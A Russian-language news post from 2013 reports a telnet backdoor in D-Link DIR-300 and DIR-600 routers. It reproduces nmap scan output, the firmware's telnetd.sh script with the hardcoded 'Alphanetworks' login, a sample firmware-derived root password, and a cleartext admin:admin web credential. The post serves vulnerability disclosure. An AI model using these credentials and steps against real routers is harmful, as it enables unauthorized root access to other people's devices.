В роутерах D-Link (DIR-300revA, DIR-300revB, DIR-600revB) обнаружен backdoor

Немецкий исследователь просканировал некоторые устройства D-Link nmap-ом и обнаружил открытым порт 23\tcp (telnet). Результаты сканирования nmap далее...

root@bt:~# nmap -sSV -p 23 192.168.178.133,144,222
Starting Nmap 6.01 ( nmap.org ) at 2013-04-30 13:42 CEST
Nmap scan report for 192.168.178.133
Host is up (0.0067s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 1C:BD:B9:A7:7F:74 (D-link International PTE Limited)
Service Info: Device: WAP

Nmap scan report for 192.168.178.144
Host is up (0.0068s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 00:26:5A:38:7D:77 (D-Link)
Service Info: Device: WAP

Nmap scan report for 192.168.178.222
Host is up (0.0031s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet D-Link 524, DIR-300, or WBR-1310 WAP telnetd
MAC Address: 34:08:04:DB:6D:FE (D-Link)
Service Info: Device: WAP



Порсле этого исследователь заглянул в конфиг-файл и обнаружил код, отвечающий за функцию backdoor

./rootfs/etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = «true» ]; then
echo «Start telnetd ...» > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf=`rgdb -i -g /runtime/layout/lanif`
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi
root@bt:~/firmware/DIR300-extracted# cat rootfs/etc/config/image_sign
wrgg19_c_dlwbr_dir300



Т.е. пароль зависит от того, какая в устройстве версия прошивки. При чём пароль этот даёт root-привелегии к устройству:

Просмотреть полностью

Получив рутовый пароль, вы также можете
обнаружить в устройстве логин\пароль к веб-интерфейсу устройства в открытом виде

# cat var/etc/httpasswd
admin:admin

или так:



Надо сказать, этот исследователь уже не первый раз ковыряет оборудование D-Link и сообщает производителю о багах. Однако D-Link как-то не всегда торопится закрывать их. Или вообще заявляет, что что фикса не будет, т.к. по их мнению, это проблема не в их оборудовании, а в браузерах и самих пользователях их устройств.


Источник




Вас также может заинтересовать:

В OpenX обнаружен бэкдор
Обнаружен ботнет, состоящий из «умных» телевизоров, медиацентров, ПК и… холодильника